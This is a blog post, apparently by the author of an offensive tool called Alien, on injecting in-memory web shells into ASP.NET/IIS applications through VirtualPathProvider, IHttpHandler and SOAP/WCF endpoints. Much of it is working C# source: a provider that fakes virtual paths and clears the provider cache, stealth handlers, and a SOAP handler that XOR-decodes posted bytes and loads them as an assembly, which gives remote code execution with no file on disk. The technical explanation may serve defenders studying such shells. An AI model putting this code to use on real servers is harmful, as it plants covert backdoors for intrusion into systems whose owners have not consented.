[Alien] C# In-Memory WebShell

First Post:

Last Update:

Word Count:
2.3k

Read Time:
14 min

Introduction

Sicne the version 5.0.0, Alien has supported not only Java memory shell injection, but also .NET-based in-memory web shells.

In my previous article, I introduced four types of Java memory shells adopted by Alien. In this article, I will introduce four types of Java memory shells adopted by Alien, I will introduce several .NET memory shell techniques implemented by Alien and explain how they interact with the ASP.NET request-process pipeline.

Unlike Java applications, where memory shells can be attached to components such as Servlet, Filter, Valve, or Interceptor, ASP.NET applications provide a different set of extension points.

Some of the most interesting ones include:

Component Role Memory Shell Technique
VirtualPathProvider Virtual resource resolution VirtualFile
IHttpHandler Request endpoint Handler
SOAP / WCF endpoint Service-oriented request processing SOAP / WCF

The common idea behind these techniques is relatively simple:

Instead of modifying a physical web application, the attacker attempts to introduce a new request-processing component into the application process.

Once registered, the component exists inside the application’s runtime and can participate in subsequent HTTP request processing without requiring a corresponding physical source file.

The following diagram provides a simplified view of where these techniques are positioned in the ASP.NET request-processing architecture.

graph TD A["HTTP Request"] --> B["IIS"] B --> C["ASP.NET Application"] C --> D["HttpApplication
Request Pipeline"] D --> E["IHttpModule
Pipeline Interception"] D --> F["URL / Resource Resolution"] F --> G["VirtualPathProvider
Virtual Resource"] G --> H["IHttpHandler
Request Endpoint"] D --> I["SOAP / WCF Endpoint"] E --> J["Application Logic"] H --> J I --> J

The important difference between these techniques is where the malicious component is inserted into the request-processing path.

Plugin

The design of the C# memory shell injector is similar to the Java memory shell injector in Alien. Instead of modifying files on disk, the plugin attempts to register runtime components directly inside the ASP.NET application.

A simplified model of the relationship between the four techniques is shown below:

graph TD A["ASP.NET Application"] A --> B["VirtualPathProvider"] A --> C["IHttpHandler"] A --> E["SOAP / WCF"] B --> B1["Virtual Resource"] C --> C1["Specific Request Endpoint"] E --> E1["Service Endpoint"]

In a classic ASP.NET application, an incoming HTTP request passes through several stages before reaching the final application component.

HttpApplication represents the ASP.NET application lifecycle and exposes a number of events, including BeginRequest, AuthenticateRequest, and ResolveRequestCache.

Depending on the requested resource and the application’s configuration, the request may eventually be resolved to a handler or another application component.

This makes the ASP.NET pipeline particularly interesting from a memory shell perspective.

Rather than creating a new physical .aspx, .ashx, or .svc file, a runtime component can potentially influence how a request is resolved or processed.

Alien currently implements four approaches based on different ASP.NET extension points.

IIS VirtualFile

A VirtualPathProvider can participate in ASP.NET’s virtual-path resolution process and determine whether a requested path exists and how its corresponding resource should be obtained.

This mechanism was originally designed to allow applications to obtain resources from alternative storage systems or dynamically generated sources. From a security perspective, however, it also provides an interesting location for an in-memory webshell.

The basic idea is to register a custom VirtualPathProvider and make it recognize a particular virtual path.

When ASP.NET checks whether the requested resource exists, the provider can indicate that the virtual resource exists even through no corresponding physical file in present.

Two important methods have to be implemented:

  • FileExists(String): Determines whether the requested virtual path exists.
  • GetFile(String): Returns a System.Web.Hosting.VirtualFile object representing the requested virtual resource.

With this mechanism, a VirtualPathProvider-based memory shell can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class MyPathProvider : System.Web.Hosting.VirtualPathProvider
{
private string _virtualDir;
private string _sourceBase64;

public MyPathProvider(string virtualDir, string sourceBase64) : base()
{
_virtualDir = virtualDir;
_sourceBase64 = sourceBase64;
}

private bool IsPathVirtual(string virtualPath)
{
try
{
string checkPath = System.Web.VirtualPathUtility.ToAppRelative(virtualPath);
return checkPath.ToLower().Contains(_virtualDir.ToLower());
}
catch
{
return virtualPath.ToLower().Contains(_virtualDir.ToLower());
}
}

public override bool FileExists(string virtualPath)
{
if (IsPathVirtual(virtualPath)) return true;
return Previous.FileExists(virtualPath);
}

public override System.Web.Hosting.VirtualFile GetFile(string virtualPath)
{
if (IsPathVirtual(virtualPath))
return new MyVirtualFile(virtualPath, _sourceBase64);

return Previous.GetFile(virtualPath);
}

public override object InitializeLifetimeService()
{
return null;
}
}

private void fnGlobalClearCache()
{
try
{
Type vppRegType = typeof(HostingEnvironment).Assembly.GetType("System.Web.Hosting.VirtualPathProviderRegistration");
if (vppRegType != null)
{
MethodInfo clearCache = vppRegType.GetMethod("ClearCache", BindingFlags.Static | BindingFlags.NonPublic);
if (clearCache != null) clearCache.Invoke(null, null);
}
}
catch { }
}

It is also worth mentioning an interesting and somewhat counterintuitive observation from my experiment.

After deploying the memory shell, I powered off the VMware virtual machine and left it powered off for several days. When I started the virtual machine again, Alien was still able to communicate with the previously deployed memory shell.

However, after performing a normal system restart instead, the memory shell became unavailable.

I suspect that this behavior may be related to how VMWare handles the virtual machine state when it is powered off. In some configuration, a power-off virtual machine may retain or restore a saved state, which could potentially explain why the previous application state appeared to remain available after starting the VM again. A normal system restart, on the other hand, does not preserve the process state in the same way.

At this point, however, this is only my hypothesis. I have not yet determined exactly why the memory shell remained accessible after powering off the VM.

I found this behavior particularly interesting because, at least from the perspective of my experiment, powering off the virtual machine did not immediately result in the memory shell becoming unavailable. I will investigate this behavior in more detail in a future article and try to determine what is actually happening behind the scenes.

The injector can then register the VirtualPathProvider and associate it with the selected URL pattern:

1
2
3
4
5
6
7
8
9
10
11
if (string.IsNullOrEmpty(szUrlPattern))
szUrlPattern = "/Index.aspx";
if (!szUrlPattern.StartsWith("/"))
szUrlPattern = "/" + szUrlPattern;

MyPathProvider provider = new MyPathProvider(szUrlPattern, szWebShellBase64);
HostingEnvironment.RegisterVirtualPathProvider(provider);

fnGlobalClearCache();

return $"[+] SUCCESS: IIS VirtualPathProvider MemoryShell injected at [{szUrlPattern}]!";

Now, let’s try to demonstrate it in Alien.

IIS Handler

An ASP.NET HTTP Handler (IHttpHandler) is responsible for processing a specific type of web request. When a client requests a resource that is mapped to a particular handler, such as an .aspx or .ashx reosurce, ASP.NET dispatches the request to the corresponding handler.

An HTTP Handler implements the System.Web.IHttpHandler interface, with ProcessRequest(HttpContext context) serving as its primary entry point. Within ProcessRequest, the handler can access the current HttpContext, inspect HTTP request parameters, access session state, read request data, and write data to the HTTP response.

From a memory-shell perspective, the interesting part is that a handler instance can be created dynamically and kept in application-level state, while a VirtualPathProvider can be used to associate a virtual path with the corresponding resource.

In Alien’s implementation, these two mechanisms are combined. The VirtualPathProvider makes the selected virtual path appear to exist even when no physical file is present, while the handler provides the request-processing logic.

This effectively allows the request to reach an in-memory handler without requiring a corresponding handler file to exist on disk.

graph TD A["HTTP Request"] --> B["ASP.NET Virtual Path Resolution"] B --> C["VirtualPathProvider"] C --> D["Virtual Resource"] D --> E["IHttpHandler"] E --> F["ProcessRequest()"] F --> G["HTTP Response"]

The following implementation demonstrates how Alien keeps the handler state in memory and uses a virtual path provider to expose the corresponding endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class MyStealthHandler : IHttpHandler, System.Web.SessionState.IRequiresSessionState
{
private byte[] _ashxRawBytes;
public bool IsReusable { get { return true; } }

public MyStealthHandler() { }
public MyStealthHandler(byte[] ashxRawBytes)
{
_ashxRawBytes = ashxRawBytes;
}

public void ProcessRequest(HttpContext ctx)
{
try
{
if (!ctx.Request.HttpMethod.Equals("POST", StringComparison.OrdinalIgnoreCase))
{
ctx.Response.StatusCode = 404;
return;
}

if (_ashxRawBytes == null || _ashxRawBytes.Length == 0)
{
ctx.Response.StatusCode = 404;
return;
}

ctx.Response.ContentType = "text/html";
ctx.Response.OutputStream.Write(_ashxRawBytes, 0, _ashxRawBytes.Length);
ctx.Response.Flush();
}
catch (Exception ex)
{
ctx.Response.Write("HANDLER_EXEC_FAULT: " + ex.Message);
}
}
}

The corresponding injector can then register the handler instance and expose the selected virtual path through the VirtualPathProvider:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (string.IsNullOrEmpty(szUrlPattern))
szUrlPattern = "/WebResource.ashx";
if (!szUrlPattern.StartsWith("/"))
szUrlPattern = "/" + szUrlPattern;

byte[] rawHandlerCodeBytes = Convert.FromBase64String(szWebShellBase64);
MyStealthHandler handlerInstance = new MyStealthHandler(rawHandlerCodeBytes);

lock (currentContext.Application)
{
currentContext.Application["HANDLER_GATE_" + szUrlPattern.ToLower()] = handlerInstance;
}

MyPathProvider shadowProvider = new MyPathProvider(szUrlPattern, szWebShellBase64);
HostingEnvironment.RegisterVirtualPathProvider(shadowProvider);
fnGlobalClearCache();

return $"[+] SUCCESS: IIS HttpHandler dynamically bound and shadows-linked at [{szUrlPattern}]!";

Now let’s try to demonstrate this technique with Alien.

WCF / SOAP

SOAP (Simple Object Access Protocol) is an XML-based messaging protocol commonly used for communicating with web services. In the .NET ecosystem, SOAP-based services can be exposed through technologies such as ASP.NET ASMX Web Services and WCF.

An ASMX service is typically associated with an .asmx endpoint, while a WCF service is commonly exposed through a .svc endpoint. When IIS receives a request targeting one of these endpoints, ASP.NET routes then request to the corresponding service implementation, where the SOAP message can then be processed.

From a memory shell perspective, these service endpoints provide another interesting place to introduce an in-memory request-processing component.

The basic idea used by Alien is similar to the previous IIS Handler technique. Instead of creating a physical .asmx file, Alien registers a virtual pat and associates it with an in-memory handler. The VirtualPathProvider makes the requested endpoint appear to exist even though there is no corresponding physical file on disk.

The simplified request flow can be described as :

graph TD A["HTTP SOAP Request
/PulsarService.asmx"] B["IIS"] C["ASP.NET
Virtual Path Resolution"] D["VirtualPathProvider"] E["In-Memory IHttpHandler"] F["SOAP / Request Processing"] A --> B B --> C C --> D D --> E E --> F

In this implementation, the handler receives the HTTP request through ProcessRequest(). It can access the request body through HttpContext, maintain state through ASP.NET session storage, and process subsequent requests using the object stored in the application session.

This approach does not require a physical .asmx file to be created on the server. Instead, the endpoint is dynamically represented inside the ASP.NET application’s runtime.

The following implementation demonstrates the handler used by Alien:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class MyStealthSoapHandler : IHttpHandler, System.Web.SessionState.IRequiresSessionState
{
private byte[] _soapRawBytes;
public bool IsReusable { get { return true; } }

public MyStealthSoapHandler() { }
public MyStealthSoapHandler(byte[] soapRawBytes)
{
_soapRawBytes = soapRawBytes;
}

public void ProcessRequest(HttpContext ctx)
{
if (ctx.Request.HttpMethod.Equals("POST", StringComparison.OrdinalIgnoreCase))
{
try
{
int totalBytes = ctx.Request.TotalBytes;
if (totalBytes <= 4) return;
byte[] rawData = ctx.Request.BinaryRead(totalBytes);

if (ctx.Session["k"] == null) ctx.Session["k"] = "e376d904f308ca98";
object loader = ctx.Session["nebulapulsar"];

if (loader == null)
{
byte[] keyBytes = System.Text.Encoding.UTF8.GetBytes((string)ctx.Session["k"]);
for (int i = 0; i < rawData.Length; i++)
rawData[i] = (byte)(rawData[i] ^ keyBytes[(i + 1) & 15]);

Assembly asm = Assembly.Load(rawData);
loader = Activator.CreateInstance(asm.GetType("NebulaPulsar"));
ctx.Session["nebulapulsar"] = loader;
ctx.Response.Write("LOADER_INIT_SUCCESS");
}
else
{
ctx.Items["rawPostData"] = rawData;
loader.GetType().GetMethod("Equals", new Type[] { typeof(object) }).Invoke(loader, new object[] { ctx });
}
}
catch (Exception ex)
{
ctx.Response.Write("SOAP_DYNAMIC_EXEC_FAULT: " + ex.Message);
}
}
}
}

The corresponding injector registers the handler with a VirtualPathProvider, allowing Alien to expose a virtual SOAP endpoint such as /PulsarService.asmx without creating a physical file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (string.IsNullOrEmpty(szUrlPattern))
szUrlPattern = "/PulsarService.asmx";
if (!szUrlPattern.StartsWith("/"))
szUrlPattern = "/" + szUrlPattern;

byte[] rawSoapCodeBytes = Convert.FromBase64String(szWebShellBase64);

MyStealthSoapHandler soapHandlerInstance = new MyStealthSoapHandler(rawSoapCodeBytes);

lock (currentContext.Application)
{
currentContext.Application["HANDLER_GATE_" + szUrlPattern.ToLower()] = soapHandlerInstance;
}

MyPathProvider shadowSoapProvider = new MyPathProvider(szUrlPattern, szWebShellBase64);
HostingEnvironment.RegisterVirtualPathProvider(shadowSoapProvider);
fnGlobalClearCache();

return $"[+] SUCCESS: WCF/SOAP Dynamic Endpoint successfully allocated and shadows-linked at [{szUrlPattern}]!";

The request flow can therefore be summarized as:

sequenceDiagram participant C as Client participant I as IIS participant A as ASP.NET participant V as VirtualPathProvider participant H as In-Memory Handler C->>I: POST /PulsarService.asmx I->>A: Forward HTTP request A->>V: Resolve virtual path V-->>A: Virtual resource exists A->>H: Invoke ProcessRequest() H->>H: Process request data H-->>C: HTTP response

Demonstration with Alien:

Conclusion

In this article, I introduced several types of C# in-memory shells and explained how they can be implemented through different ASP.NET extension points, including VirtualPathProvider, IHttpHandler, and SOAP/WCF endpoints.

These techniques demonstrate how an in-memory web shell can be integrate into different stages of the ASP.NET request-processing pipeline. Alien provides a convenient way to experiment with these techniques and observe how different webshell implementations behave in a real ASP.NET environment.

I will continue improving Alien and its memory shell plugins in future releases, as well as exploring other techniques related to in-memory execution and web application security.

If you have any suggestions or comments, please feel free to leave them below.

THANKS FOR READING

I have been having some trouble sleeping and struggling with a few things recently…

Anyway, thanks for reading! I hope everything will be OK!